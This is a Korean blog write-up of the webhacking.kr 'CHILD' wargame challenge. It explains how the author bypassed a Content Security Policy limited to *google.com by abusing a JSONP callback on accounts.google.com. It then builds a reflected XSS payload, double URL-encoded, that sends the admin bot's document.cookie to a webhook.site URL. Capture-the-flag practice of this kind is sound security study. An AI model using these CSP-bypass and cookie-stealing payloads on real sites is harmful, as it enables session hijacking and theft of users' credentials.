Webhacking Writeup CHILD 문제
문제에 접속해보면 URL에 get방식으로 inject된것을 그대로 출력해주고 있습니다.
Error Report링크를 들어가보면
에러를 전송하면 관리자가 바로 읽는다고 합니다.
아마 봇을 이용한 자동화를 구현해놓은것 같은데 이런경우 Reflected xss에 취약해집니다.
처음에는 xss공격을 먼저 시도해봤더니
CSP라는 보안으로 막혀있습니다.
검색해 찾아보니 네트워크 부분을 살펴보면 더 잘 살펴볼 수 있더라구요
CSP로 script-src는 *google.com 만 통과된다고 합니다.
해서 CSP bypass *google.com 키워드로 검색해 찾은 글이
https://github.com/zigoo0/JSONBee
GitHub - zigoo0/JSONBee: A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websi
A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - GitHub - zigoo0/JSONBee: A ready to use JSONP endpoints/payloads to help bypass content...
github.com
JSONP를 이용한 방법이라고 합니다.
위글을 참고해 *google.com 키워드를 몇개 더 찾아봤고 그중 지인의 힌트를 받아
아래와 같이 payload를 구성했습니다.
<script+src="https://accounts.google.com//o/oauth2/revoke?callback=alert(1)"></script>
구성한 payload를 문제사이트에 전달해보면
xss공격이 성공했습니다.
이제 위에서 말했던대로 Reflected xss 공격을 통해 쿠키를 탈취하기 위해 아래 글을 참고해
위에서 작성한 *google.com을 사용한 payload에 더해 코드를 작성했습니다.
웹해킹 #5 크로스 사이트 스크립팅 공격 (XSS)
1. 크로스 사이트 스크립팅 공격 - 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격 - "자바스크립트"를 이용
rsy99.tistory.com
웹훅을 이용해 최종적인 payload 코드는 이렇게 작성해 사이트에 전달했더니
<script src=
"https://accounts.google.com/o/oauth2/revoke?callback=
(location.href='https://webhook.site/a6780c7d-514d-4e84-89e3-d0531629ecd4/?cookie='+document.cookie);">
</script>
웹훅에 응답오는게 없었습니다.
뭐가 문제인지를 찾다가 URL인코딩이 필요하다는 애기를 듣게 되었고 소스를 열어보았더니
+로 삽입해서 쿠키값을 연결하는 용도로 사용될 코드가
URL인코딩으로 공백으로 처리되어 있어 응답이 없었습니다.
해서 파라미터로 전달될 아래 코드를 URL인코딩을 한번 거쳐주고
location.href='https://webhook.site/a6780c7d-514d-4e84-89e3-d0531629ecd4/?cookie='+document.cookie
location.href%3d%27https%3a%2f%2fwebhook.site%2fa6780c7d-514d-4e84-89e3-d0531629ecd4%2f%3fcookie%3d%27%2bdocument.cookie
URL 인코딩을 한번 해준 값을 전달해보면
원하는대로 +값으로 전달이 되었습니다.
그런데 또 웹훅에서는 전달받지 못해서 아래 google.com을 살펴보면
또다시 공백이 되어있습니다.
여기서 알아야 하는것이 URL 인코딩, 디코딩과 전달인데
URL로 값을 전달시 자동으로 디코딩을 한번 합니다.
첫 전달은 문제사이트의 inject=입력한 코드 전체가 전달어
URL 디코딩이 한번되고
우리는 CSP를 우회하기 위해 JSONP를 사용하면서 *google.com을 사용했기에
accounts.google.com으로 한번더 전달해 웹훅 링크를 실행시켜 Reflected xss 공격을 하기 때문에
URL 디코딩이 또 한번 실행됩니다.
즉 + 는 URL 디코딩이 되면 공백으로 인식하기에 2번 전달을 거치려면
2번 인코딩을 해줘야 정상적인 전달이 된다는 겁니다.
또한 다른 값도 인코딩에 문제가 생길것을 염려해
두번째 accounts.google.com에 전달될 파라미터 아래 코드 부분을 2번 인코딩 후
location.href='https://webhook.site/a6780c7d-514d-4e84-89e3-d0531629ecd4/?cookie='+document.cookie
location.href%2520%3d%2520%2527https%3a%2f%2fwebhook.site%2fa6780c7d-514d-4e84-89e3-d0531629ecd4%2f%3fcookie%3d%2527%252bdocument.cookie
인코딩한 값을 전달 해보면
웹훅 응답이 성공했습니다.
이제 성공한 값을 그대로 Error Report 사이트에 전달해보면
cookie에 flag값이 존재하면서 FLAG를 찾아 문제를 해결했습니다.
어떤문제는 cookie를 탈취해서 접속하고 한번더 거쳐야 하는 경우도 있다고
하는데 거기까지는 아니였습니다.
'Wargame(Web) > Webhacking.kr Writeup' 카테고리의 다른 글
Webhacking Writeup 22번 문제 (1) | 2022.09.26 |
---|---|
Webhacking Writeup 8번 문제 (0) | 2022.09.26 |
Webhacking Writeup 50번 문제 (0) | 2022.09.01 |
Webhacking Writeup 45번 문제 (0) | 2022.08.31 |
Webhacking Writeup 51번 문제 (0) | 2022.08.20 |